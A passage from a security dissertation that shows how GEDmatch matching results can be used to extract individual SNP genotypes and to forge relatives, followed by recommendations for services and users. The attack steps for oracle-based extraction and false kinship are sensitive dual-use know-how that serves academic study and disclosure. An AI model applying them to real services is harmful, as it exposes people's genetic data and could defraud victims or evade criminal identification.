We know that a run of SNPs where every SNP has a genotype of AC will half or full

match any other kit (see Section 4.6.3 for an explanation). Therefore, we can construct a

matching segment in any given chromosome region by setting all the SNPs in that region to

AC.

4.7.2 Using DNA Matches to Extract Individual SNPs

We can configure the one-to-one comparison so that a single mismatched SNP will break

a matching segment — in other words, the matching segment must be a contiguous run

of half or fully matched SNPs. Take a SNP of interest, call it Si. The adversary can

extract the compressed genotype of Si in a target kit by uploading an extraction kit where
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Si−j, Si−j+1, ..., Sj, ..., Si+j−1, Si+j are all set to AC; j is made large enough so that the region

(Si−j,Si+j) is as large as the minimum matching segment size.

The adversary then uploads three additional extraction kits, identical to the first, except

that Si is AA (00 compressed) in one, Si is CC (11 compressed) in the second, and Si is set

to dashes in the fourth. All four extraction kits are then compared to the target. There are

three possible outcomes based on the genotype of Si in the target.

• Case (1): Si is missing or contains non-standard alleles in the target. GEDmatch

reports the number of SNPs in each matching segment. The number of SNPs reported

in the matching segment will drop when compared to the extraction kit where Si =

– –, if the target has a standard genotype. Otherwise, the number of SNPs in the

segment will stay unchanged because the SNP is missing or it contains non-standard

allele. Therefore, this can used as a method to tell if Si is missing or has a non-standard

allele in the target.

• Case (2): Si is 00 or 11 when compressed. In one of the extraction comparisons,

the matching segment will break into smaller matching segments — or disappear if

the resulting smaller segments are below the minimum matching length. This will

correspond the extraction kit which set Si to the opposite genotype of the target (e.g.,

11 if Si is 00 in the target).

• Case (3): Si is 01 when compressed. If the segment is unchanged in the three extraction

kits where Si set to 00, 01, and 11, then we know the target has genotype 01 because

it is the only genotype that matches to everything.

At this point the adversary can decompress the genotype using allele frequency data as

before. Unlike the SNP extraction described in the previous section, this attack does not

require that the pixels be shown at high resolution or that the correspondence between pixels

and SNPs be known. Hence, the attack in this section provides an additional, affirmative
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answer to Question 1 from Section 4.3, and further highlights the challenges of completely

eliminating information leakage through genetic matching results.

4.7.3 Experiments with a Target

To experimentally demonstrate SNP extraction attacks using matching DNA segments, we

attempted to extract the binary genotype of four specific SNPs in target(1)-kit. To test

out the four possible situations, one of the target SNPs was 00, one was 01, one was 11, and

the final one was missing entirely from target(1)-kit. Each of the targeted SNPs were on

separate chromosomes so we could attempt to extract all four SNPs at once.

We constructed the four extraction kits using ext-kit as a base and included 400 SNP

matching segments around the four target SNPs. In the four extraction kits the four target

SNPs were set to AA in the first kit, AC in the second kit, CC in the third kit, and -- in

the fourth kit. The results work as expected, and thus, we were able to use the presence or

absence of a matching segment as an oracle to extract individual SNP.

4.8 Forged Identity and Relationships

Given the rising prominence of relative matching in third party services, like GEDmatch,

we hypothesized that relative matching could be manipulated into producing false results.

Given that relative matching is now used in criminal investigations, such manipulations could

be significant. In this section we show how an adversary can use forged matching segments

to create falsified relationships on GEDmatch.

4.8.1 Risks of Falsified Relatives

The ability to create false relatives can lead to a number of problems. First, unexpected rela-

tive matches can be profound and life changing because of the cultural and legal significance

of family relationships. It is common to find stories of relative matches being used to reunite

adopted children with their birth parents or to identify cases of unexpected parentage [4, 27].
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Figure 4.6: Examples of attacks using forged relatives. A, An adversary wants to avoid
identification when their 2nd cousin is already in a third-party database. The adversary
uploads a falsified second cousin under the identity of a second individual that is related
to the 2nd cousin but not the adversary. This falsely implies that the adversary is on a
different branch of the family tree. B, The adversary uploads two falsified relatives, on
different branches, to falsely imply a couple as parents of the adversary.

False relatives could be used by malicious actors to defraud victims or improve confidence

schemes. Such situations are made more likely because users of third-party services are

unlikely to know that relationships can be falsified.

Falsified relatives can also be used to make identity inference more difficult. This is es-

pecially relevant to criminal investigations that use genetic triangulation to identify criminal

suspects from DNA samples at crime scenes. Consider the family tree shown in Figure 4.6.

In pane A, it shows a scenario where an adversary is trying to avoid identification via genetic

triangulation but has a second cousin in a third-party database. The adversary uploads a

second genetic data file that looks like another second cousin — except this file is uploaded

under the identity of a second individual not related to the adversary. This new, fake ge-

netic profile would falsely imply that the adversary is on a different branch of the family

tree. Note that to be consistent, the false second cousin would have to be a genetic second

cousin to the adversary and a genetic first cousin to the 2nd cousin already present in the

third-party database. Similarly, in pane B, we show how two false relatives, uploaded to
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different branches of a family tree, would imply a false identity inference.

4.8.2 False Relative Construction

We now describe how to construct false relatives on GEDmatch. We assume that the adver-

sary has access to family tree information and has their own genetic data file (which could

be obtained using a DTC testing service).

Recall that relative matching works by identifying large matching segments between two

genetic data files, and the degree of relatedness is proportional to the total length of the

matching segments. Resources like the Shared cM Project can be used to find matching

segment estimates for each type of relationship [9]. Therefore, it is possible to create false

relatives of some target, if the adversary can construct a kit that will generate matching

segments when compared to the target kit.

To construct the false relative kit we begin by extracting the binary genotype of the target

kit — the kit corresponding to the individual for whom the adversary seeks to create a forged

relative; the adversary extracts the target’s kit using the method described in Section 4.6.3

and 4.6.4. Then using the compressed genotype of the target we can construct arbitrary

matching segments. To do this, we just set every SNP in the desired segment regions so

that exactly half of the compressed bits are the same (this corresponds to the yellow pixel

described in Section 4.5). This will result in a half-matching segment in the desired region.

Now it is just a matter of creating the total length and number of segments that would be

expected for the desired relatedness. This can be done using replicating the matching segment

estimates or by copying the segment coordinates seen in real relative pairs. GEDmatch’s open

privacy model means that an adversary can view the matching segments between any public

kits, and so, it is easy to find the coordinates of matching segments from real individuals.

Note, that in some cases, like avoiding identity inference, the adversary may want to make

false relative for themselves. In this case the adversary already knows their own genotype

and can make half matching segments directly with their own genotype data.

We tested false relative construction by creating a false child of target(1)-kit using the
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procedure described above. When the false relative was matched against target(1)-kit the

relationship estimate provided by GEDmatch corresponded exactly to a parent-child. Thus,

our answer to Question 2 in Section 4.3 is also in the affirmative.

4.9 Discussion

The rise of DTC genetic testing services (like 23andMe) and third-party analysis services

(like GEDmatch) provide many benefits, as evidenced by the millions of people who have

used these services. However, as with any new technology, along with the great benefits

come potential security and privacy risks. A key role of the computer security and privacy

community — and hence our goal with this chapter — is to rigorously assess the security and

privacy risks with emerging technologies, and thereby provide a foundation for protecting

the security and privacy of future users of these technologies. Whereas some progress can

be made through the thought exploration of conceptualized (not implemented, but explored

as theoretically possible) attacks, we believe that significant knowledge and insight can be

gained through the experimental study of real systems, and hence we also take that approach

in this chapter.

Significant past work has already applied this approach toward the study of de-identification

risks, e.g, [34] and [32]; see [33] for a survey. Our work studies the risk of genotype extraction

(Sections 4.6 and 4.7) and forging relatives (Section 4.8). As discussed in Section 4.4, we

believe that the concerns we identify have the potential to impact many services, and hence

we intend to employ a careful strategy when disclosing these results to the industry at large.

Ultimately, we hope that the knowledge gained from this work can help improve the security

and privacy properties of this genetic analysis ecosystem, including improving the technical

aspects of the systems themselves, the practices of users who upload data to these systems,

and the practices of parties who rely on the results of these systems. We discuss specific

recommendations for each of these parties below. Our explorations here seek to address

Question 3 from Section 4.3.
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4.9.1 Recommendation for Services

The risks with our extraction results (Sections 4.6 and 4.7) are in some sense fundamen-

tal to any system that allows an adversary to query a genetic comparison algorithm with

information about both the target’s DNA and adversarially-chosen DNA; Goodrich also

noted the fundamental nature of this risk in [49]. Now knowing that these attacks can

manifest in practice, and knowing the fundamental nature of of these risks, we make the

following suggestions for industry, and encourage future academic studies to evaluate the

efficacy of these recommendations. First, we suggest that DTC genetic testing services cryp-

tographically authenticate the data they provide consumers, and we suggest that third-party

services only accept authenticated data (or significantly restrict the capabilities offered to

non-authenticated data). This suggestion has also been made by others here [34]. Ideally,

the genotyping instruments themselves would authenticate the data they generate, so that

a genetic data file could be traced to a single instrument and company. As an additional

defense-in-depth strategy, we suggest that third-party genetic services rate-limit queries, and

perhaps apply additional analytics to determine if queries are non-adversarial. For exam-

ple, the queries we made in Section 4.6 were highly structured, and that structure would

have been visible to GEDmatch if they had known to look. Additionally, while revealing

any information about a match can be used as an oracle to extract information about an

unknown DNA sample, there are ways in which GEDmatch could reduce the information

leakage in each of their responses. For example, they could remove fine-grained visualizations

or SNP-level information from their matching results.

4.9.2 Recommendations for People Who Use Matching Services

As noted elsewhere in this chapter, there are numerous use cases for genetic matching services,

ranging from law enforcement use in an effort to solve cold cases using stored DNA samples

to people looking for lost relatives. While DNA-related technologies are often considered

by the public to be the “gold standard” for forensics and genealogy, our work shows that
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these systems can be fragile. Inspired by our results in Section 4.8, a key recommendation

that we have for such users of these systems is to be cautious about interpreting results.

Additionally, if DTC and third-party services begin to provide greater security and privacy

safeguards, such at the ability to cryptographically authenticate DTC results (for DTCs)

or perform queries only over authenticated data (for third-party services), then the parties

using these services will be able to benefit directly from such increased security.

4.9.3 Recommendations for People Who Upload Data.

Users who upload their data to third-party genetic services are, in many ways, limited by the

security and privacy features offered by these services. Thus, unfortunately, we do not have

strong recommendations for these individuals other than to be cautious and consider only

uploading data to services that are known to proactively implement security and privacy

safeguards. While implementing such safeguards may not be the norm today, if a sufficient

number of users (and the community at large) request these features, then our hope is that

such features become the norm in the future.

4.9.4 Conclusion

In this chapter, we experimentally evaluated the security of the GEDmatch third-party

genetic genealogy service. We found that in addition to known identity inference attacks,

GEDmatch is vulnerable to other significant attacks, like genotype extraction and forged

relative attacks. Our hope is that this work contributes to a discussion in the security and

broader genetics community about emerging security risks to genetic genealogy services,

especially as these services continue to be used in high stakes applications, like criminal

forensics.
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Chapter 5

CONCLUSION

In this dissertation I have explored a number of emerging bio-cyber security threats

to different DNA-information systems — including DNA data processing programs, next-

generation DNA sequencers, and genetic genealogy services — and have demonstrated attacks

against each of these. This suggests that bio-cyber security issues are more prevalent in

DNA-information systems, and biotechnology more generally, than previously thought.

I believe that the biotechnology industry can learn from the experiences of the computer

security community to make biotechnology more secure, up-front, rather than reacting to

security problems once they develop and are more difficult to remedy. I conclude this dis-

sertation with some guiding principles that I hope will be helpful to future engineers and

designers.

Actively Build a Positive Security Culture. Computer security has a long and com-

plex history, but in the early days, security practioners and white hat hackers were often

viewed with suspicion. I believe this early attitude was a mistake and left us ill prepared

for the security issues that arose in the Internet era. The security community has worked

hard to develop a positive culture that balances the risks inherent in security research.

Strong community norms around ethics and responsible disclosure have been essential. The

biotechnology community would be well served by accepting ethical and transparent security

research as an important component of biotechnology.

Think Beyond Traditional Biosecurity. Traditional biosecurity is predominantly con-

cerned with the direct harms of biological agents. However, a unifying theme of this disser-

tation is that as biotechnology becomes more computerized and networked that it may be
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exposed to previously unconsidered security threats. This is similar to the early days of the

Internet, where latent security vulnerabilities in computer systems became practical to at-

tack only after computers were accessible via network interfaces. Engineers should take these

emerging security concerns seriously because biotechnology is becoming more accessible and

interconnected.

Expect that Biotechnology Will Be Used Differently Than Originally Intended.

A common theme in computer security is that new security risks can arise when technology

changes, improves, or is repurposed. This can create a mismatch between the assumptions

of the original system designers and the later technology usage. In this dissertation, all

three studies exhibited this pattern. Therefore, it is important that biotechnology designers

evaluate the assumptions they make and try to consider how the technology they build may

be used in the future.

Threat Modeling Is Important When Designing Secure Systems. Securing tech-

nology against malicious actors is especially difficult because adversaries are intelligent and

adaptive. Understanding the inherent security trade-offs in any systems requires knowing

the complex set of assets, actors, and risks to that system; this formalized process is called

threat modeling. Any biotechnology that has important security implications or handles

sensitive data should undergo threat modeling.

Be Wary of Interfaces Between System Components. A pattern repeatedly seen

in computer systems is that security problems often arise at the boundaries between tech-

nologies. As biotechnology become more ubiquitous and integrated into larger systems, like

programmable automated wet labs, system designers should be especially aware of risks at

system boundaries.

Security Updates and Patching Will Be Difficult. Security patching in heterogeneous

devices has proved very difficult, most prominently seen with, so called, Internet of Things
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devices. If equipment is intended to be used for long periods of time or is difficult to replace

then special consideration needs to go into how the devices will be patched; consider that

the companies which originally design a device or technology many no longer exist.

Security Will Interact with Policy and Culture. Security is not just a technological

problem but a complex social and political phenomena, and computer security has a long

history of interacting with policy and culture (see the Crypto Wars). As we have already

seen with genetic genealogy services, we can expect that biotechnology will be no different. I

encourage bio-technologists to engage with the broader impacts of their technology, especially

in the legal or policy realm.
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